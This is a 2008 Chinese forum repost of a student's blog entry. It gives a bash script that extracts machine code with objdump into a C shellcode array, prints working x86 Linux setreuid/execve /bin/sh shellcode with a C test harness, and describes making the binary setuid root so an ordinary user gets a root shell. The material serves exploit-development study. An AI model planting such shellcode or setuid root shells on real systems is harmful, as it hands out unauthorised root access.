免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1582 | 回复: 0
打印 上一主题 下一主题

提取机器码并测试shellcode [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2008-09-21 17:52 |只看该作者 |倒序浏览
额。。。。经过测试,可以很简单的提取出机器码了,用如下脚本
               
               
                #!/bin/bash
if [ -n $1 ];then
    BIN=$1
else
    echo "Missing binary program argument...\n"
    exit 1
fi
if [ -n $2 ];then
    OUT=$2
else
    echo "Missing c file argument...\n"
    exit 1
fi
TMP=./.asm.tmp
OPT=./.opt.tmp
objdump -d $1 | awk -F: '/^ /{print $2}' | sed -e 's/\t/ /g' > $TMP
sed -e 's/ /x/g' $TMP | awk -Fxx '{print $1}' > $OPT
echo "char shellcode[]=" > $2
sed -e 's/x/\\x/g' $OPT |awk '{print "\""$0"\""}' >> $2
echo ";" >> $2
rm -f $TMP
rm -f $OPT
保存成opcode,并给可执行权限,使用时用
$ opcode shell sc.c
这样就会用objdump打开shell二进制程序,并对其输出进行操作,最后把机器码存入sc.c中,输出:
[drinkey@linux test]$ ./opcode shell sc.c
[drinkey@linux test]$ cat sc.c
char shellcode[]=
"\x31\xc0"
"\xb0\x46"
"\x31\xdb"
"\x31\xc9"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
ok了,只剩一点点了,怎麽调用shellcode。
#include stdio.h>
char shellcode[]=
"\x31\xc0"
"\xb0\x46"
"\x31\xdb"
"\x31\xc9"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80";
int main()
{
    void (*fp) (void);
    fp = (void *)shellcode;
    fp();
}
就是这样的形式了~~编译gcc -o shell  sc.c
然后运行,就会得到一个shell了,再用root给他赋上s位,属主改成root,跟上一篇文章一样,再退出root,用普通用户运行这个程序,哈哈,我们又获得了root shell了
finally yd的一天又快结束了。。。。继续学习。。。。
明天腾讯招聘会,百度的招聘会和笔试,要跑川大去,nnd谁让我们学校这么垃圾,什么企业都不来,哎,命苦啊。。。。
god bless me~~这个缓冲区溢出,和shellcode,还有汇编,,,还得继续学习啊,nnd,现在感觉知识不够用了,真希望还有一年时间,我会准备的更充分


本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u2/78951/showart_1212462.html
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP